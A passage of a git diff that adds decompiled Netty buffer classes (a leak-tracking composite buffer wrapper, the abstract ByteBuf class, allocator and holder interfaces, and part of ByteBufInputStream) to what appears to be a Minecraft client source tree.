+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeMedium(value);
+  }
+  
+  public CompositeByteBuf writeInt(int value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeInt(value);
+  }
+  
+  public CompositeByteBuf writeLong(long value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeLong(value);
+  }
+  
+  public CompositeByteBuf writeChar(int value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeChar(value);
+  }
+  
+  public CompositeByteBuf writeFloat(float value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeFloat(value);
+  }
+  
+  public CompositeByteBuf writeDouble(double value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeDouble(value);
+  }
+  
+  public CompositeByteBuf writeBytes(ByteBuf src)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeBytes(src);
+  }
+  
+  public CompositeByteBuf writeBytes(ByteBuf src, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeBytes(src, length);
+  }
+  
+  public CompositeByteBuf writeBytes(ByteBuf src, int srcIndex, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeBytes(src, srcIndex, length);
+  }
+  
+  public CompositeByteBuf writeBytes(byte[] src)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeBytes(src);
+  }
+  
+  public CompositeByteBuf writeBytes(byte[] src, int srcIndex, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeBytes(src, srcIndex, length);
+  }
+  
+  public CompositeByteBuf writeBytes(ByteBuffer src)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeBytes(src);
+  }
+  
+  public int writeBytes(InputStream in, int length) throws IOException
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeBytes(in, length);
+  }
+  
+  public int writeBytes(ScatteringByteChannel in, int length) throws IOException
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeBytes(in, length);
+  }
+  
+  public CompositeByteBuf writeZero(int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeZero(length);
+  }
+  
+  public int writeCharSequence(CharSequence sequence, Charset charset)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeCharSequence(sequence, charset);
+  }
+  
+  public int indexOf(int fromIndex, int toIndex, byte value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.indexOf(fromIndex, toIndex, value);
+  }
+  
+  public int bytesBefore(byte value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.bytesBefore(value);
+  }
+  
+  public int bytesBefore(int length, byte value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.bytesBefore(length, value);
+  }
+  
+  public int bytesBefore(int index, int length, byte value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.bytesBefore(index, length, value);
+  }
+  
+  public int forEachByte(ByteProcessor processor)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.forEachByte(processor);
+  }
+  
+  public int forEachByte(int index, int length, ByteProcessor processor)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.forEachByte(index, length, processor);
+  }
+  
+  public int forEachByteDesc(ByteProcessor processor)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.forEachByteDesc(processor);
+  }
+  
+  public int forEachByteDesc(int index, int length, ByteProcessor processor)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.forEachByteDesc(index, length, processor);
+  }
+  
+  public ByteBuf copy()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.copy();
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.copy(index, length);
+  }
+  
+  public int nioBufferCount()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.nioBufferCount();
+  }
+  
+  public ByteBuffer nioBuffer()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.nioBuffer();
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.nioBuffer(index, length);
+  }
+  
+  public ByteBuffer[] nioBuffers()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.nioBuffers();
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.nioBuffers(index, length);
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.internalNioBuffer(index, length);
+  }
+  
+  public String toString(Charset charset)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.toString(charset);
+  }
+  
+  public String toString(int index, int length, Charset charset)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.toString(index, length, charset);
+  }
+  
+  public CompositeByteBuf capacity(int newCapacity)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.capacity(newCapacity);
+  }
+  
+  public short getShortLE(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getShortLE(index);
+  }
+  
+  public int getUnsignedShortLE(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getUnsignedShortLE(index);
+  }
+  
+  public int getUnsignedMediumLE(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getUnsignedMediumLE(index);
+  }
+  
+  public int getMediumLE(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getMediumLE(index);
+  }
+  
+  public int getIntLE(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getIntLE(index);
+  }
+  
+  public long getUnsignedIntLE(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getUnsignedIntLE(index);
+  }
+  
+  public long getLongLE(int index)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getLongLE(index);
+  }
+  
+  public ByteBuf setShortLE(int index, int value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setShortLE(index, value);
+  }
+  
+  public ByteBuf setMediumLE(int index, int value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setMediumLE(index, value);
+  }
+  
+  public ByteBuf setIntLE(int index, int value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setIntLE(index, value);
+  }
+  
+  public ByteBuf setLongLE(int index, long value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setLongLE(index, value);
+  }
+  
+  public int setCharSequence(int index, CharSequence sequence, Charset charset)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setCharSequence(index, sequence, charset);
+  }
+  
+  public short readShortLE()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readShortLE();
+  }
+  
+  public int readUnsignedShortLE()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readUnsignedShortLE();
+  }
+  
+  public int readMediumLE()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readMediumLE();
+  }
+  
+  public int readUnsignedMediumLE()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readUnsignedMediumLE();
+  }
+  
+  public int readIntLE()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readIntLE();
+  }
+  
+  public long readUnsignedIntLE()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readUnsignedIntLE();
+  }
+  
+  public long readLongLE()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readLongLE();
+  }
+  
+  public ByteBuf writeShortLE(int value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeShortLE(value);
+  }
+  
+  public ByteBuf writeMediumLE(int value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeMediumLE(value);
+  }
+  
+  public ByteBuf writeIntLE(int value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeIntLE(value);
+  }
+  
+  public ByteBuf writeLongLE(long value)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeLongLE(value);
+  }
+  
+  public CompositeByteBuf addComponent(ByteBuf buffer)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.addComponent(buffer);
+  }
+  
+  public CompositeByteBuf addComponents(ByteBuf... buffers)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.addComponents(buffers);
+  }
+  
+  public CompositeByteBuf addComponents(Iterable<ByteBuf> buffers)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.addComponents(buffers);
+  }
+  
+  public CompositeByteBuf addComponent(int cIndex, ByteBuf buffer)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.addComponent(cIndex, buffer);
+  }
+  
+  public CompositeByteBuf addComponents(int cIndex, ByteBuf... buffers)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.addComponents(cIndex, buffers);
+  }
+  
+  public CompositeByteBuf addComponents(int cIndex, Iterable<ByteBuf> buffers)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.addComponents(cIndex, buffers);
+  }
+  
+  public CompositeByteBuf addComponent(boolean increaseWriterIndex, ByteBuf buffer)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.addComponent(increaseWriterIndex, buffer);
+  }
+  
+  public CompositeByteBuf addComponents(boolean increaseWriterIndex, ByteBuf... buffers)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.addComponents(increaseWriterIndex, buffers);
+  }
+  
+  public CompositeByteBuf addComponents(boolean increaseWriterIndex, Iterable<ByteBuf> buffers)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.addComponents(increaseWriterIndex, buffers);
+  }
+  
+  public CompositeByteBuf addComponent(boolean increaseWriterIndex, int cIndex, ByteBuf buffer)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.addComponent(increaseWriterIndex, cIndex, buffer);
+  }
+  
+  public CompositeByteBuf removeComponent(int cIndex)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.removeComponent(cIndex);
+  }
+  
+  public CompositeByteBuf removeComponents(int cIndex, int numComponents)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.removeComponents(cIndex, numComponents);
+  }
+  
+  public Iterator<ByteBuf> iterator()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.iterator();
+  }
+  
+  public List<ByteBuf> decompose(int offset, int length)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.decompose(offset, length);
+  }
+  
+  public CompositeByteBuf consolidate()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.consolidate();
+  }
+  
+  public CompositeByteBuf discardReadComponents()
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.discardReadComponents();
+  }
+  
+  public CompositeByteBuf consolidate(int cIndex, int numComponents)
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.consolidate(cIndex, numComponents);
+  }
+  
+  public int getBytes(int index, FileChannel out, long position, int length) throws IOException
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.getBytes(index, out, position, length);
+  }
+  
+  public int setBytes(int index, FileChannel in, long position, int length) throws IOException
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.setBytes(index, in, position, length);
+  }
+  
+  public int readBytes(FileChannel out, long position, int length) throws IOException
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.readBytes(out, position, length);
+  }
+  
+  public int writeBytes(FileChannel in, long position, int length) throws IOException
+  {
+    AdvancedLeakAwareByteBuf.recordLeakNonRefCountingOperation(leak);
+    return super.writeBytes(in, position, length);
+  }
+  
+  public CompositeByteBuf retain()
+  {
+    leak.record();
+    return super.retain();
+  }
+  
+  public CompositeByteBuf retain(int increment)
+  {
+    leak.record();
+    return super.retain(increment);
+  }
+  
+  public CompositeByteBuf touch()
+  {
+    leak.record();
+    return this;
+  }
+  
+  public CompositeByteBuf touch(Object hint)
+  {
+    leak.record(hint);
+    return this;
+  }
+  
+  public boolean release()
+  {
+    boolean deallocated = super.release();
+    if (deallocated) {
+      leak.close();
+    } else {
+      leak.record();
+    }
+    return deallocated;
+  }
+  
+  public boolean release(int decrement)
+  {
+    boolean deallocated = super.release(decrement);
+    if (deallocated) {
+      leak.close();
+    } else {
+      leak.record();
+    }
+    return deallocated;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/ByteBuf.java b/src/minecraft/io/netty/buffer/ByteBuf.java
new file mode 100644
index 0000000..c7b150f
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/ByteBuf.java
@@ -0,0 +1,309 @@
+package io.netty.buffer;
+
+import io.netty.util.ReferenceCounted;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+import java.nio.charset.Charset;
+
+public abstract class ByteBuf
+  implements ReferenceCounted, Comparable<ByteBuf>
+{
+  public ByteBuf() {}
+  
+  public abstract int capacity();
+  
+  public abstract ByteBuf capacity(int paramInt);
+  
+  public abstract int maxCapacity();
+  
+  public abstract ByteBufAllocator alloc();
+  
+  public abstract ByteOrder order();
+  
+  public abstract ByteBuf order(ByteOrder paramByteOrder);
+  
+  public abstract ByteBuf unwrap();
+  
+  public abstract boolean isDirect();
+  
+  public abstract int readerIndex();
+  
+  public abstract ByteBuf readerIndex(int paramInt);
+  
+  public abstract int writerIndex();
+  
+  public abstract ByteBuf writerIndex(int paramInt);
+  
+  public abstract ByteBuf setIndex(int paramInt1, int paramInt2);
+  
+  public abstract int readableBytes();
+  
+  public abstract int writableBytes();
+  
+  public abstract int maxWritableBytes();
+  
+  public abstract boolean isReadable();
+  
+  public abstract boolean isReadable(int paramInt);
+  
+  public abstract boolean isWritable();
+  
+  public abstract boolean isWritable(int paramInt);
+  
+  public abstract ByteBuf clear();
+  
+  public abstract ByteBuf markReaderIndex();
+  
+  public abstract ByteBuf resetReaderIndex();
+  
+  public abstract ByteBuf markWriterIndex();
+  
+  public abstract ByteBuf resetWriterIndex();
+  
+  public abstract ByteBuf discardReadBytes();
+  
+  public abstract ByteBuf discardSomeReadBytes();
+  
+  public abstract ByteBuf ensureWritable(int paramInt);
+  
+  public abstract int ensureWritable(int paramInt, boolean paramBoolean);
+  
+  public abstract boolean getBoolean(int paramInt);
+  
+  public abstract byte getByte(int paramInt);
+  
+  public abstract short getUnsignedByte(int paramInt);
+  
+  public abstract short getShort(int paramInt);
+  
+  public abstract int getUnsignedShort(int paramInt);
+  
+  public abstract int getMedium(int paramInt);
+  
+  public abstract int getUnsignedMedium(int paramInt);
+  
+  public abstract int getInt(int paramInt);
+  
+  public abstract long getUnsignedInt(int paramInt);
+  
+  public abstract long getLong(int paramInt);
+  
+  public abstract char getChar(int paramInt);
+  
+  public abstract float getFloat(int paramInt);
+  
+  public abstract double getDouble(int paramInt);
+  
+  public abstract ByteBuf getBytes(int paramInt, ByteBuf paramByteBuf);
+  
+  public abstract ByteBuf getBytes(int paramInt1, ByteBuf paramByteBuf, int paramInt2);
+  
+  public abstract ByteBuf getBytes(int paramInt1, ByteBuf paramByteBuf, int paramInt2, int paramInt3);
+  
+  public abstract ByteBuf getBytes(int paramInt, byte[] paramArrayOfByte);
+  
+  public abstract ByteBuf getBytes(int paramInt1, byte[] paramArrayOfByte, int paramInt2, int paramInt3);
+  
+  public abstract ByteBuf getBytes(int paramInt, ByteBuffer paramByteBuffer);
+  
+  public abstract ByteBuf getBytes(int paramInt1, OutputStream paramOutputStream, int paramInt2)
+    throws IOException;
+  
+  public abstract int getBytes(int paramInt1, GatheringByteChannel paramGatheringByteChannel, int paramInt2)
+    throws IOException;
+  
+  public abstract ByteBuf setBoolean(int paramInt, boolean paramBoolean);
+  
+  public abstract ByteBuf setByte(int paramInt1, int paramInt2);
+  
+  public abstract ByteBuf setShort(int paramInt1, int paramInt2);
+  
+  public abstract ByteBuf setMedium(int paramInt1, int paramInt2);
+  
+  public abstract ByteBuf setInt(int paramInt1, int paramInt2);
+  
+  public abstract ByteBuf setLong(int paramInt, long paramLong);
+  
+  public abstract ByteBuf setChar(int paramInt1, int paramInt2);
+  
+  public abstract ByteBuf setFloat(int paramInt, float paramFloat);
+  
+  public abstract ByteBuf setDouble(int paramInt, double paramDouble);
+  
+  public abstract ByteBuf setBytes(int paramInt, ByteBuf paramByteBuf);
+  
+  public abstract ByteBuf setBytes(int paramInt1, ByteBuf paramByteBuf, int paramInt2);
+  
+  public abstract ByteBuf setBytes(int paramInt1, ByteBuf paramByteBuf, int paramInt2, int paramInt3);
+  
+  public abstract ByteBuf setBytes(int paramInt, byte[] paramArrayOfByte);
+  
+  public abstract ByteBuf setBytes(int paramInt1, byte[] paramArrayOfByte, int paramInt2, int paramInt3);
+  
+  public abstract ByteBuf setBytes(int paramInt, ByteBuffer paramByteBuffer);
+  
+  public abstract int setBytes(int paramInt1, InputStream paramInputStream, int paramInt2)
+    throws IOException;
+  
+  public abstract int setBytes(int paramInt1, ScatteringByteChannel paramScatteringByteChannel, int paramInt2)
+    throws IOException;
+  
+  public abstract ByteBuf setZero(int paramInt1, int paramInt2);
+  
+  public abstract boolean readBoolean();
+  
+  public abstract byte readByte();
+  
+  public abstract short readUnsignedByte();
+  
+  public abstract short readShort();
+  
+  public abstract int readUnsignedShort();
+  
+  public abstract int readMedium();
+  
+  public abstract int readUnsignedMedium();
+  
+  public abstract int readInt();
+  
+  public abstract long readUnsignedInt();
+  
+  public abstract long readLong();
+  
+  public abstract char readChar();
+  
+  public abstract float readFloat();
+  
+  public abstract double readDouble();
+  
+  public abstract ByteBuf readBytes(int paramInt);
+  
+  public abstract ByteBuf readSlice(int paramInt);
+  
+  public abstract ByteBuf readBytes(ByteBuf paramByteBuf);
+  
+  public abstract ByteBuf readBytes(ByteBuf paramByteBuf, int paramInt);
+  
+  public abstract ByteBuf readBytes(ByteBuf paramByteBuf, int paramInt1, int paramInt2);
+  
+  public abstract ByteBuf readBytes(byte[] paramArrayOfByte);
+  
+  public abstract ByteBuf readBytes(byte[] paramArrayOfByte, int paramInt1, int paramInt2);
+  
+  public abstract ByteBuf readBytes(ByteBuffer paramByteBuffer);
+  
+  public abstract ByteBuf readBytes(OutputStream paramOutputStream, int paramInt)
+    throws IOException;
+  
+  public abstract int readBytes(GatheringByteChannel paramGatheringByteChannel, int paramInt)
+    throws IOException;
+  
+  public abstract ByteBuf skipBytes(int paramInt);
+  
+  public abstract ByteBuf writeBoolean(boolean paramBoolean);
+  
+  public abstract ByteBuf writeByte(int paramInt);
+  
+  public abstract ByteBuf writeShort(int paramInt);
+  
+  public abstract ByteBuf writeMedium(int paramInt);
+  
+  public abstract ByteBuf writeInt(int paramInt);
+  
+  public abstract ByteBuf writeLong(long paramLong);
+  
+  public abstract ByteBuf writeChar(int paramInt);
+  
+  public abstract ByteBuf writeFloat(float paramFloat);
+  
+  public abstract ByteBuf writeDouble(double paramDouble);
+  
+  public abstract ByteBuf writeBytes(ByteBuf paramByteBuf);
+  
+  public abstract ByteBuf writeBytes(ByteBuf paramByteBuf, int paramInt);
+  
+  public abstract ByteBuf writeBytes(ByteBuf paramByteBuf, int paramInt1, int paramInt2);
+  
+  public abstract ByteBuf writeBytes(byte[] paramArrayOfByte);
+  
+  public abstract ByteBuf writeBytes(byte[] paramArrayOfByte, int paramInt1, int paramInt2);
+  
+  public abstract ByteBuf writeBytes(ByteBuffer paramByteBuffer);
+  
+  public abstract int writeBytes(InputStream paramInputStream, int paramInt)
+    throws IOException;
+  
+  public abstract int writeBytes(ScatteringByteChannel paramScatteringByteChannel, int paramInt)
+    throws IOException;
+  
+  public abstract ByteBuf writeZero(int paramInt);
+  
+  public abstract int indexOf(int paramInt1, int paramInt2, byte paramByte);
+  
+  public abstract int bytesBefore(byte paramByte);
+  
+  public abstract int bytesBefore(int paramInt, byte paramByte);
+  
+  public abstract int bytesBefore(int paramInt1, int paramInt2, byte paramByte);
+  
+  public abstract int forEachByte(ByteBufProcessor paramByteBufProcessor);
+  
+  public abstract int forEachByte(int paramInt1, int paramInt2, ByteBufProcessor paramByteBufProcessor);
+  
+  public abstract int forEachByteDesc(ByteBufProcessor paramByteBufProcessor);
+  
+  public abstract int forEachByteDesc(int paramInt1, int paramInt2, ByteBufProcessor paramByteBufProcessor);
+  
+  public abstract ByteBuf copy();
+  
+  public abstract ByteBuf copy(int paramInt1, int paramInt2);
+  
+  public abstract ByteBuf slice();
+  
+  public abstract ByteBuf slice(int paramInt1, int paramInt2);
+  
+  public abstract ByteBuf duplicate();
+  
+  public abstract int nioBufferCount();
+  
+  public abstract ByteBuffer nioBuffer();
+  
+  public abstract ByteBuffer nioBuffer(int paramInt1, int paramInt2);
+  
+  public abstract ByteBuffer internalNioBuffer(int paramInt1, int paramInt2);
+  
+  public abstract ByteBuffer[] nioBuffers();
+  
+  public abstract ByteBuffer[] nioBuffers(int paramInt1, int paramInt2);
+  
+  public abstract boolean hasArray();
+  
+  public abstract byte[] array();
+  
+  public abstract int arrayOffset();
+  
+  public abstract boolean hasMemoryAddress();
+  
+  public abstract long memoryAddress();
+  
+  public abstract String toString(Charset paramCharset);
+  
+  public abstract String toString(int paramInt1, int paramInt2, Charset paramCharset);
+  
+  public abstract int hashCode();
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int compareTo(ByteBuf paramByteBuf);
+  
+  public abstract String toString();
+  
+  public abstract ByteBuf retain(int paramInt);
+  
+  public abstract ByteBuf retain();
+}
diff --git a/src/minecraft/io/netty/buffer/ByteBufAllocator.java b/src/minecraft/io/netty/buffer/ByteBufAllocator.java
new file mode 100644
index 0000000..d3be549
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/ByteBufAllocator.java
@@ -0,0 +1,63 @@
+package io.netty.buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface ByteBufAllocator
+{
+  public static final ByteBufAllocator DEFAULT = ByteBufUtil.DEFAULT_ALLOCATOR;
+  
+  public abstract ByteBuf buffer();
+  
+  public abstract ByteBuf buffer(int paramInt);
+  
+  public abstract ByteBuf buffer(int paramInt1, int paramInt2);
+  
+  public abstract ByteBuf ioBuffer();
+  
+  public abstract ByteBuf ioBuffer(int paramInt);
+  
+  public abstract ByteBuf ioBuffer(int paramInt1, int paramInt2);
+  
+  public abstract ByteBuf heapBuffer();
+  
+  public abstract ByteBuf heapBuffer(int paramInt);
+  
+  public abstract ByteBuf heapBuffer(int paramInt1, int paramInt2);
+  
+  public abstract ByteBuf directBuffer();
+  
+  public abstract ByteBuf directBuffer(int paramInt);
+  
+  public abstract ByteBuf directBuffer(int paramInt1, int paramInt2);
+  
+  public abstract CompositeByteBuf compositeBuffer();
+  
+  public abstract CompositeByteBuf compositeBuffer(int paramInt);
+  
+  public abstract CompositeByteBuf compositeHeapBuffer();
+  
+  public abstract CompositeByteBuf compositeHeapBuffer(int paramInt);
+  
+  public abstract CompositeByteBuf compositeDirectBuffer();
+  
+  public abstract CompositeByteBuf compositeDirectBuffer(int paramInt);
+  
+  public abstract boolean isDirectBufferPooled();
+}
diff --git a/src/minecraft/io/netty/buffer/ByteBufHolder.java b/src/minecraft/io/netty/buffer/ByteBufHolder.java
new file mode 100644
index 0000000..69b0547
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/ByteBufHolder.java
@@ -0,0 +1,17 @@
+package io.netty.buffer;
+
+import io.netty.util.ReferenceCounted;
+
+public abstract interface ByteBufHolder
+  extends ReferenceCounted
+{
+  public abstract ByteBuf content();
+  
+  public abstract ByteBufHolder copy();
+  
+  public abstract ByteBufHolder duplicate();
+  
+  public abstract ByteBufHolder retain();
+  
+  public abstract ByteBufHolder retain(int paramInt);
+}
diff --git a/src/minecraft/io/netty/buffer/ByteBufInputStream.java b/src/minecraft/io/netty/buffer/ByteBufInputStream.java
new file mode 100644
index 0000000..9d17212
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/ByteBufInputStream.java
@@ -0,0 +1,256 @@
+package io.netty.buffer;
+
+import java.io.DataInput;
+import java.io.DataInputStream;
+import java.io.EOFException;
+import java.io.IOException;
+import java.io.InputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ByteBufInputStream
+  extends InputStream
+  implements DataInput
+{
+  private final ByteBuf buffer;
+  private final int startIndex;
+  private final int endIndex;
+  
+  public ByteBufInputStream(ByteBuf buffer)
+  {
+    this(buffer, buffer.readableBytes());
+  }
+  
+
+
+
+
+
+
+
+
+  public ByteBufInputStream(ByteBuf buffer, int length)
+  {
+    if (buffer == null) {
+      throw new NullPointerException("buffer");
+    }
+    if (length < 0) {
+      throw new IllegalArgumentException("length: " + length);
+    }
+    if (length > buffer.readableBytes()) {
+      throw new IndexOutOfBoundsException("Too many bytes to be read - Needs " + length + ", maximum is " + buffer.readableBytes());
+    }
+    
+
+    this.buffer = buffer;
+    startIndex = buffer.readerIndex();
+    endIndex = (startIndex + length);
+    buffer.markReaderIndex();
+  }
+  
+
+
+  public int readBytes()
+  {
+    return buffer.readerIndex() - startIndex;
+  }
+  
+  public int available() throws IOException
+  {
+    return endIndex - buffer.readerIndex();
+  }
+  
+  public void mark(int readlimit)
+  {
+    buffer.markReaderIndex();
+  }
+  
+  public boolean markSupported()
+  {
+    return true;
+  }
+  
+  public int read() throws IOException
+  {
+    if (!buffer.isReadable()) {
+      return -1;
+    }
+    return buffer.readByte() & 0xFF;
+  }
+  
+  public int read(byte[] b, int off, int len) throws IOException
+  {
+    int available = available();
+    if (available == 0) {
+      return -1;
+    }
+    
+    len = Math.min(available, len);
+    buffer.readBytes(b, off, len);
+    return len;
+  }
+  
+  public void reset() throws IOException
+  {
+    buffer.resetReaderIndex();
+  }
+  
+  public long skip(long n) throws IOException
+  {
+    if (n > 2147483647L) {
+      return skipBytes(Integer.MAX_VALUE);
+    }
+    return skipBytes((int)n);
+  }
+  
+  public boolean readBoolean()
+    throws IOException
+  {
+    checkAvailable(1);
+    return read() != 0;
+  }
+  
+  public byte readByte() throws IOException
+  {
+    if (!buffer.isReadable()) {
+      throw new EOFException();
+    }
+    return buffer.readByte();
+  }
+  
+  public char readChar() throws IOException
+  {
+    return (char)readShort();
+  }
+  
+  public double readDouble() throws IOException
+  {
+    return Double.longBitsToDouble(readLong());
+  }
+  
+  public float readFloat() throws IOException
+  {
+    return Float.intBitsToFloat(readInt());
+  }
+  
+  public void readFully(byte[] b) throws IOException
+  {
+    readFully(b, 0, b.length);
+  }
+  
+  public void readFully(byte[] b, int off, int len) throws IOException
+  {
+    checkAvailable(len);
+    buffer.readBytes(b, off, len);
+  }
+  
+  public int readInt() throws IOException
+  {
+    checkAvailable(4);
+    return buffer.readInt();
+  }
+  
+  private final StringBuilder lineBuf = new StringBuilder();
+  
+  public String readLine() throws IOException
+  {
+    lineBuf.setLength(0);
+    for (;;)
+    {
+      if (!buffer.isReadable()) {
+        return lineBuf.length() > 0 ? lineBuf.toString() : null;
+      }
+      
+      int c = buffer.readUnsignedByte();
+      switch (c)
+      {
+      case 10: 
+        break;
+      case 13: 
